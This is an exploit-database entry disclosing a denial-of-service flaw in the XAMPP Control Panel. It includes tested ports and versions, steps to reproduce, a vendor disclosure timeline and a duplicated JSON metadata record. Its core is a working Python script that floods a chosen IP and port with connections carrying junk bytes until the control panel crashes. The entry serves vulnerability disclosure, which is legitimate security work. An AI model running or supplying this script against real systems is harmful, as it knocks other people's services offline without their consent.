ID 1337DAY-ID-26578 Type zdt Reporter hyp3rlinx Modified 2016-12-25T00:00:00
Description
XAMPP Control Panel suffers from a denial of service vulnerability.
[+] Credits: John Page (hyp3rlinx)
Vendor:
=====================
www.apachefriends.org
Product:
===================
XAMPP Control Panel
XAMPP is a free and open source cross-platform web server solution stack
package developed by Apache Friends,
consisting mainly of the Apache HTTP Server, MariaDB database, and
interpreters for scripts written in the PHP
and Perl programming languages.
Vulnerability Type:
=====================
Memory Corruption DOS
CVE Reference:
==============
N/A
Vulnerability Details:
=====================
XAMPP Control Panel crashes with access violation when writing junk bytes
into several different ports e.g.
Tested following ports / versions:
(MySQL) 3306 v3.2.2
(Tomcat) 8080 (XAMPP v3.1.0)
(FileZilla) 21
(Mercury Mail) 25 (XAMPP v3.1.0),79,105,106,143.
It is not that XAMPP Control Panel is listening on some port, however
memory corruption and Denial Of Service does
occur when you constantly write junk into, for instance, the MySQL, Tomcat,
FileZilla, Mercury Mail listening ports.
1) Launch XAMPP control panel
2) Run exploit script against some ports like 3306, 79, 105 (Mercury mail)
with Apache running and or Tomcat
Target different services and port combinations to reproduce.
Important to note is that neither MySQL or Apache itself crash, it IS the
XAMPP Control Panel that crashes with Access Violation.
Tested Windows SP1
POC Video:
https://vimeo.com/196938261
Exploit code(s):
===============
import socket
print "XAMPP Control Panel DOS"
print "Discovery: John Page (hyp3rlinx)"
print "ApparitionSec"
print "hyp3rlinx.altervista.org\r\n"
IP = raw_input("[IP]> ")
PORT = raw_input("[PORT]> ")
arr=[]
c=0
while 1:
try:
arr.append(socket.create_connection((IP,PORT)))
arr[c].send("DOOM")
print "Die!"
c+=1
except socket.error:
print "[+] Done! "
raw_input()
break
Disclosure Timeline:
=======================================
Vendor Notification: November 1, 2016
Vendor acknowledgement: November 4, 2016
Vendor released Fix : December 22, 2016
(NO public mention as of the time of this writing)
December 24, 2016 : Public Disclosure
# 0day.today [2018-03-09] #
{"sourceData": "[+] Credits: John Page (hyp3rlinx)\r\n\r\n\r\nVendor:\r\n=====================\r\nwww.apachefriends.org\r\n\r\n\r\n\r\n\r\nProduct:\r\n===================\r\nXAMPP Control Panel\r\n\r\n\r\nXAMPP is a free and open source cross-platform web server solution stack\r\npackage developed by Apache Friends,\r\nconsisting mainly of the Apache HTTP Server, MariaDB database, and\r\ninterpreters for scripts written in the PHP\r\nand Perl programming languages.\r\n\r\n\r\n\r\nVulnerability Type:\r\n=====================\r\nMemory Corruption DOS\r\n\r\n\r\n\r\nCVE Reference:\r\n==============\r\nN/A\r\n\r\n\r\n\r\nVulnerability Details:\r\n=====================\r\n\r\nXAMPP Control Panel crashes with access violation when writing junk bytes\r\ninto several different ports e.g.\r\n\r\nTested following ports / versions:\r\n\r\n(MySQL) 3306 v3.2.2\r\n(Tomcat) 8080 (XAMPP v3.1.0)\r\n(FileZilla) 21\r\n(Mercury Mail) 25 (XAMPP v3.1.0),79,105,106,143.\r\n\r\nIt is not that XAMPP Control Panel is listening on some port, however\r\nmemory corruption and Denial Of Service does\r\noccur when you constantly write junk into, for instance, the MySQL, Tomcat,\r\nFileZilla, Mercury Mail listening ports.\r\n\r\n\r\n1) Launch XAMPP control panel\r\n2) Run exploit script against some ports like 3306, 79, 105 (Mercury mail)\r\nwith Apache running and or Tomcat\r\n\r\nTarget different services and port combinations to reproduce.\r\n\r\nImportant to note is that neither MySQL or Apache itself crash, it IS the\r\nXAMPP Control Panel that crashes with Access Violation.\r\n\r\n\r\nTested Windows SP1\r\n\r\n\r\nPOC Video:\r\nhttps://vimeo.com/196938261\r\n\r\n\r\nExploit code(s):\r\n===============\r\n\r\n\r\nimport socket\r\n\r\nprint \"XAMPP Control Panel DOS\"\r\nprint \"Discovery: John Page (hyp3rlinx)\"\r\nprint \"ApparitionSec\"\r\nprint \"hyp3rlinx.altervista.org\\r\\n\"\r\n\r\nIP = raw_input(\"[IP]> \")\r\nPORT = raw_input(\"[PORT]> \")\r\n\r\narr=[]\r\nc=0\r\nwhile 1:\r\n try:\r\n arr.append(socket.create_connection((IP,PORT)))\r\n arr[c].send(\"DOOM\")\r\n print \"Die!\"\r\n c+=1\r\n except socket.error:\r\n print \"[+] Done! \"\r\n raw_input()\r\n break\r\n\r\n\r\n\r\n\r\nDisclosure Timeline:\r\n=======================================\r\nVendor Notification: November 1, 2016\r\nVendor acknowledgement: November 4, 2016\r\nVendor released Fix : December 22, 2016\r\n(NO public mention as of the time of this writing)\r\nDecember 24, 2016 : Public Disclosure\n\n# 0day.today [2018-03-09] #", "description": "XAMPP Control Panel suffers from a denial of service vulnerability.", "sourceHref": "https://0day.today/exploit/26578", "reporter": "hyp3rlinx", "href": "https://0day.today/exploit/description/26578", "type": "zdt", "viewCount": 6, "references": [], "lastseen": "2018-03-09T19:10:02", "published": "2016-12-25T00:00:00", "cvelist": [], "id": "1337DAY-ID-26578", "modified": "2016-12-25T00:00:00", "title": "XAMPP Control Panel Denial Of Service Exploit", "edition": 1, "cvss": {"score": 0.0, "vector": "NONE"}, "bulletinFamily": "exploit", "enchantments": {"score": {"value": 0.7, "vector": "NONE", "modified": "2018-03-09T19:10:02", "rev": 2}, "dependencies": {"references": [{"type": "securityvulns", "idList": ["SECURITYVULNS:DOC:26578"]}], "modified": "2018-03-09T19:10:02", "rev": 2}, "vulnersScore": 0.7}}